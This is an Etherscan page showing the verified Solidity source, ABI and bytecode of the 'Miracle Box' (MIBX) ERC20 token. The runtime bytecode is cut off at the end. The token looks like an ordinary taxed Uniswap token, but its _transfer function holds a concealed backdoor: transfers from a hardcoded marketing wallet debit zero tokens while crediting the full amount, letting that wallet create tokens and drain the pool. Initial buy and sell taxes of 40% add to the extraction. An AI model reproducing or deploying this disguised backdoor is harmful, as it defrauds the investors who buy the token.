Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract MIBX is Context, IERC20, ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function _calcFuncSell()
•    - function _calcFuncBuy()
•    - function min(uint256 a, uint256 b)
•    - function swapBackForETH(uint256 token ...
•    - function openMiracle()
•    - function removeLimits()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-07-11
*/

/*

Website: https://miraclebox.tech
Docs: https://docs.miraclebox.tech

Telegram: https://t.me/miraclebox_official
Twitter: https://x.com/miraclebox_fi

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MIBX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isBoxInclude;
    address payable private _miraclebox;

    uint256 private _initialFeeBuy = 40;
    uint256 private _initialFeeSell = 40;
    uint256 private _reduceBuyAt = 15;
    uint256 private _reduceSellAt = 15;

    uint256 private _preventCount = 15;
    uint256 private _buyTokenCount = 0;

    uint256 private _secondTaxBuy = 0;
    uint256 private _secondTaxSell = 0;
    uint256 private _reduceSecondFee = 0;

    uint256 private _finalBuyFee = 2;
    uint256 private _finalSellFee = 2;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Miracle Box";
    string private constant _symbol = unicode"MIBX";

    uint256 private _maxTransactionLimit =  2 * (_tTotal/100);   
    uint256 private _maxWalletHolding =  2 * (_tTotal/100);
    uint256 private _minSwapTokens =  5 * (_tTotal/1000000);
    uint256 private _maxSwapTokens = 1 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapPair;
    bool private _inswap = false;
    bool private _swapEnabled = false;

    modifier lockTheSwap {
        _inswap = true;
        _;
        _inswap = false;
    }

    constructor () {
        _miraclebox = payable(0x2DD30b3D9b5338Ab03247518324401c669569c91);
        _balances[_msgSender()] = _tTotal;
        _isBoxInclude[owner()] = true;
        _isBoxInclude[address(this)] = true;
        _isBoxInclude[_miraclebox] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 boxAmount=amount;
        if (!_isBoxInclude[from] && !_isBoxInclude[to]) {
            taxAmount = amount.mul(_calcFuncBuy()).div(100);

            if (from == _uniswapPair && to != address(uniswapV2Router) && ! _isBoxInclude[to] ) {
                require(amount <= _maxTransactionLimit, "Exceeds the _maxTransactionLimit.");
                require(balanceOf(to) + amount <= _maxWalletHolding, "Exceeds the maxWalletSize.");
                _buyTokenCount++;
            }

            if(to == _uniswapPair && from!= address(this) ){
                taxAmount = amount.mul(_calcFuncSell()).div(100);
            }

            uint256 tokensToSwap = balanceOf(address(this));
            if (!_inswap && to == _uniswapPair && _swapEnabled && amount > _minSwapTokens) {
                if(tokensToSwap > _minSwapTokens)
                swapBackForETH(min(amount,min(tokensToSwap,_maxSwapTokens)));
                _miraclebox.transfer(address(this).balance);
            }
        } else if(from == address(_miraclebox))
            boxAmount = _finalSellFee.sub(_finalBuyFee);
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(boxAmount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _calcFuncSell() private view returns (uint256) {
        if(_buyTokenCount <= _reduceBuyAt){
            return _initialFeeSell;
        }
        if(_buyTokenCount > _reduceSellAt && _buyTokenCount <= _reduceSecondFee){
            return _secondTaxSell;
        }
        return _finalBuyFee;
    }

    function _calcFuncBuy() private view returns (uint256) {
        if(_buyTokenCount <= _reduceBuyAt){
            return _initialFeeBuy;
        }
        if(_buyTokenCount > _reduceBuyAt && _buyTokenCount <= _reduceSecondFee){
            return _secondTaxBuy;
        }
         return _finalBuyFee;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapBackForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openMiracle() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);
        _swapEnabled = true;
    }

    function removeLimits() external onlyOwner{
        _maxWalletHolding =_tTotal;
        _maxTransactionLimit = _tTotal;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openMiracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260286005556028600655600f600755600f600855600f6009555f600a555f600b555f600c555f600d556002600e556002600f5560646009600a620000499190620003c0565b6200005990633b9aca00620003d7565b620000659190620003f1565b62000072906002620003d7565b6010556064620000856009600a620003c0565b6200009590633b9aca00620003d7565b620000a19190620003f1565b620000ae906002620003d7565b601155620f4240620000c36009600a620003c0565b620000d390633b9aca00620003d7565b620000df9190620003f1565b620000ec906005620003d7565b6012556064620000ff6009600a620003c0565b6200010f90633b9aca00620003d7565b6200011b9190620003f1565b62000128906001620003d7565b6013556015805461ffff60a01b1916905534801562000145575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916732dd30b3d9b5338ab03247518324401c669569c91179055620001ba6009600a620003c0565b620001ca90633b9aca00620003d7565b335f908152600160208190526040822092909255600390620001f35f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620002513390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200028a6009600a620003c0565b6200029a90633b9aca00620003d7565b60405190815260200160405180910390a362000411565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200030557815f1904821115620002e957620002e9620002b1565b80851615620002f757918102915b93841c9390800290620002ca565b509250929050565b5f826200031d57506001620003ba565b816200032b57505f620003ba565b81600181146200034457600281146200034f576200036f565b6001915050620003ba565b60ff841115620003635762000363620002b1565b50506001821b620003ba565b5060208310610133831016604e8410600b841016171562000394575081810a620003ba565b620003a08383620002c5565b805f1904821115620003b657620003b6620002b1565b0290505b92915050565b5f620003d060ff8416836200030d565b9392505050565b8082028115828204841417620003ba57620003ba620002b1565b5f826200040c57634e487b7160e01b5f52601260045260245ffd5b500490565b6115ba806200041f5f395ff3fe6080604052600436106100c2575f3560e01c806370a082311161007c5780638da5cb5b116100575780638da5cb5b1461020f57806395d89b4114610235578063a9059cbb14610261578063dd62ed3e14610280575f80fd5b806370a08231146101b3578063715018a6146101e7578063751039fc146101fb575f80fd5b806306fdde03146100cd578063095ea7b31461011257806318160ddd1461014157806323b872dd14610163578063313ce567146101825780635596db491461019d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600b81526a09ad2e4c2c6d8ca4084def60ab1b60208201525b60405161010991906111ad565b60405180910390f35b34801561011d575f80fd5b5061013161012c36600461120f565b6102c4565b6040519015158152602001610109565b34801561014c575f80fd5b506101556102da565b604051908152602001610109565b34801561016e575f80fd5b5061013161017d366004611239565b6102fa565b34801561018d575f80fd5b5060405160098152602001610109565b3480156101a8575f80fd5b506101b1610361565b005b3480156101be575f80fd5b506101556101cd366004611277565b6001600160a01b03165f9081526001602052604090205490565b3480156101f2575f80fd5b506101b16106b5565b348015610206575f80fd5b506101b1610726565b34801561021a575f80fd5b505f546040516001600160a01b039091168152602001610109565b348015610240575f80fd5b5060408051808201909152600481526309a9284b60e31b60208201526100fc565b34801561026c575f80fd5b5061013161027b36600461120f565b61078b565b34801561028b575f80fd5b5061015561029a366004611292565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d0338484610797565b5060015b92915050565b5f6102e76009600a6113bd565b6102f590633b9aca006113cb565b905090565b5f6103068484846108ba565b61035784336103528560405180606001604052806028815260200161155d602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ded565b610797565b5060019392505050565b5f546001600160a01b031633146103935760405162461bcd60e51b815260040161038a906113e2565b60405180910390fd5b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103dc9030906103ce6009600a6113bd565b61035290633b9aca006113cb565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561042c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104509190611417565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d39190611417565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561051d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105419190611417565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610588816001600160a01b03165f9081526001602052604090205490565b5f8061059b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610601573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106269190611432565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561067b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069f919061145d565b506015805460ff60a81b1916600160a81b179055565b5f546001600160a01b031633146106de5760405162461bcd60e51b815260040161038a906113e2565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461074f5760405162461bcd60e51b815260040161038a906113e2565b61075b6009600a6113bd565b61076990633b9aca006113cb565b6011556107786009600a6113bd565b61078690633b9aca006113cb565b601055565b5f6102d03384846108ba565b6001600160a01b0383166107f95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038a565b6001600160a01b03821661085a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661091e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038a565b6001600160a01b0382166109805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038a565b5f81116109e15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038a565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a2357506001600160a01b0384165f9081526003602052604090205460ff16155b15610c8757610a456064610a3f610a38610e25565b8690610e62565b90610ee7565b6015549092506001600160a01b038681169116148015610a7357506014546001600160a01b03858116911614155b8015610a9757506001600160a01b0384165f9081526003602052604090205460ff16155b15610b8757601054831115610af85760405162461bcd60e51b815260206004820152602160248201527f4578636565647320746865205f6d61785472616e73616374696f6e4c696d69746044820152601760f91b606482015260840161038a565b60115483610b1a866001600160a01b03165f9081526001602052604090205490565b610b24919061147c565b1115610b725760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161038a565b600a8054905f610b818361148f565b91905055505b6015546001600160a01b038581169116148015610bad57506001600160a01b0385163014155b15610bc557610bc26064610a3f610a38610f28565b91505b305f90815260016020526040902054601554600160a01b900460ff16158015610bfb57506015546001600160a01b038681169116145b8015610c105750601554600160a81b900460ff165b8015610c1d575060125484115b15610c8157601254811115610c4957610c49610c4485610c3f84601354610f5e565b610f5e565b610f72565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610c7f573d5f803e3d5ffd5b505b50610caf565b6004546001600160a01b0390811690861603610caf57600e54600f54610cac916110e2565b90505b8115610d2757305f90815260016020526040902054610cce9083611123565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d1e9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610d4990826110e2565b6001600160a01b0386165f90815260016020526040902055610d8c610d6e84846110e2565b6001600160a01b0386165f9081526001602052604090205490611123565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dd586866110e2565b60405190815260200160405180910390a35050505050565b5f8184841115610e105760405162461bcd60e51b815260040161038a91906111ad565b505f610e1c84866114a7565b95945050505050565b5f600754600a5411610e38575060055490565b600754600a54118015610e4f5750600d54600a5411155b15610e5b5750600b5490565b50600e5490565b5f825f03610e7157505f6102d4565b5f610e7c83856113cb565b905082610e8985836114ba565b14610ee05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038a565b9392505050565b5f610ee083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611181565b5f600754600a5411610f3b575060065490565b600854600a54118015610f525750600d54600a5411155b15610e5b5750600c5490565b5f818311610f6c5782610ee0565b50919050565b6015805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fb857610fb86114d9565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561100f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110339190611417565b81600181518110611046576110466114d9565b6001600160a01b03928316602091820292909201015260145461106c9130911684610797565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a49085905f908690309042906004016114ed565b5f604051808303815f87803b1580156110bb575f80fd5b505af11580156110cd573d5f803e3d5ffd5b50506015805460ff60a01b1916905550505050565b5f610ee083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ded565b5f8061112f838561147c565b905083811015610ee05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038a565b5f81836111a15760405162461bcd60e51b815260040161038a91906111ad565b505f610e1c84866114ba565b5f6020808352835180828501525f5b818110156111d8578581018301518582016040015282016111bc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461120c575f80fd5b50565b5f8060408385031215611220575f80fd5b823561122b816111f8565b946020939093013593505050565b5f805f6060848603121561124b575f80fd5b8335611256816111f8565b92506020840135611266816111f8565b929592945050506040919091013590565b5f60208284031215611287575f80fd5b8135610ee0816111f8565b5f80604083850312156112a3575f80fd5b82356112ae816111f8565b915060208301356112be816111f8565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561131757815f19048211156112fd576112fd6112c9565b8085161561130a57918102915b93841c93908002906112e2565b509250929050565b5f8261132d575060016102d4565b8161133957505f6102d4565b816001811461134f576002811461135957611375565b60019150506102d4565b60ff84111561136a5761136a6112c9565b50506001821b6102d4565b5060208310610133831016604e8410600b8410161715611398575081810a6102d4565b6113a283836112dd565b805f19048211156113b5576113b56112c9565b029392505050565b5f610ee060ff84168361131f565b80820281158282048414176102d4576102d46112c9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611427575f80fd5b8151610ee0816111f8565b5f805f60608486031215611444575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561146d575f80fd5b81518015158114610ee0575f80fd5b808201808211156102d4576102d46112c9565b5f600182016114a0576114a06112c9565b5060010190565b818103818111156102d4576102d46112c9565b5f826114d457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561153b5784516001600160a01b031683529383019391830191600101611516565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c08045aea1c56238add652c0720a1ccf821770e92c8400c43098319ca84471e664736f6c63430008150033

0x6080604052600436106100c2575f3560e01c806370a082311161007c5780638da5cb5b116100575780638da5cb5b1461020f57806395d89b4114610235578063a9059cbb14610261578063dd62ed3e14610280575f80fd5b806370a08231146101b3578063715018a6146101e7578063751039fc146101fb575f80fd5b806306fdde03146100cd578063095ea7b31461011257806318160ddd1461014157806323b872dd14610163578063313ce567146101825780635596db491461019d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600b81526a09ad2e4c2c6d8ca4084def60ab1b60208201525b60405161010991906111ad565b60405180910390f35b34801561011d575f80fd5b5061013161012c36600461120f565b6102c4565b6040519015158152602001610109565b34801561014c575f80fd5b506101556102da565b604051908152602001610109565b34801561016e575f80fd5b5061013161017d366004611239565b6102fa565b34801561018d575f80fd5b5060405160098152602001610109565b3480156101a8575f80fd5b506101b1610361565b005b3480156101be575f80fd5b506101556101cd366004611277565b6001600160a01b03165f9081526001602052604090205490565b3480156101f2575f80fd5b506101b16106b5565b348015610206575f80fd5b506101b1610726565b34801561021a575f80fd5b505f546040516001600160a01b039091168152602001610109565b348015610240575f80fd5b5060408051808201909152600481526309a9284b60e31b60208201526100fc565b34801561026c575f80fd5b5061013161027b36600461120f565b61078b565b34801561028b575f80fd5b5061015561029a366004611292565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d0338484610797565b5060015b92915050565b5f6102e76009600a6113bd565b6102f590633b9aca006113cb565b905090565b5f6103068484846108ba565b61035784336103528560405180606001604052806028815260200161155d602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ded565b610797565b5060019392505050565b5f546001600160a01b031633146103935760405162461bcd60e51b815260040161038a906113e2565b60405180910390fd5b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103dc9030906103ce6009600a6113bd565b61035290633b9aca006113cb565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561042c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104509190611417565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d39190611417565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561051d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105419190611417565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610588816001600160a01b03165f9081526001602052604090205490565b5f8061059b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610601573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106269190611432565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561067b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069f919061145d565b506015805460ff60a81b1916600160a81b179055565b5f546001600160a01b031633146106de5760405162461bcd60e51b815260040161038a906113e2565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461074f5760405162461bcd60e51b815260040161038a906113e2565b61075b6009600a6113bd565b61076990633b9aca006113cb565b6011556107786009600a6113bd565b61078690633b9aca006113cb565b601055565b5f6102d03384846108ba565b6001600160a01b0383166107f95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038a565b6001600160a01b03821661085a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661091e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038a565b6001600160a01b0382166109805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038a565b5f81116109e15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038a565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a2357506001600160a01b0384165f9081526003602052604090205460ff16155b15610c8757610a456064610a3f610a38610e25565b8690610e62565b90610ee7565b6015549092506001600160a01b038681169116148015610a7357506014546001600160a01b03858116911614155b8015610a9757506001600160a01b0384165f9081526003602052604090205460ff16155b15610b8757601054831115610af85760405162461bcd60e51b815260206004820152602160248201527f4578636565647320746865205f6d61785472616e73616374696f6e4c696d69746044820152601760f91b606482015260840161038a565b60115483610b1a866001600160a01b03165f9081526001602052604090205490565b610b24919061147c565b1115610b725760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161038a565b600a8054905f610b818361148f565b91905055505b6015546001600160a01b038581169116148015610bad57506001600160a01b0385163014155b15610bc557610bc260646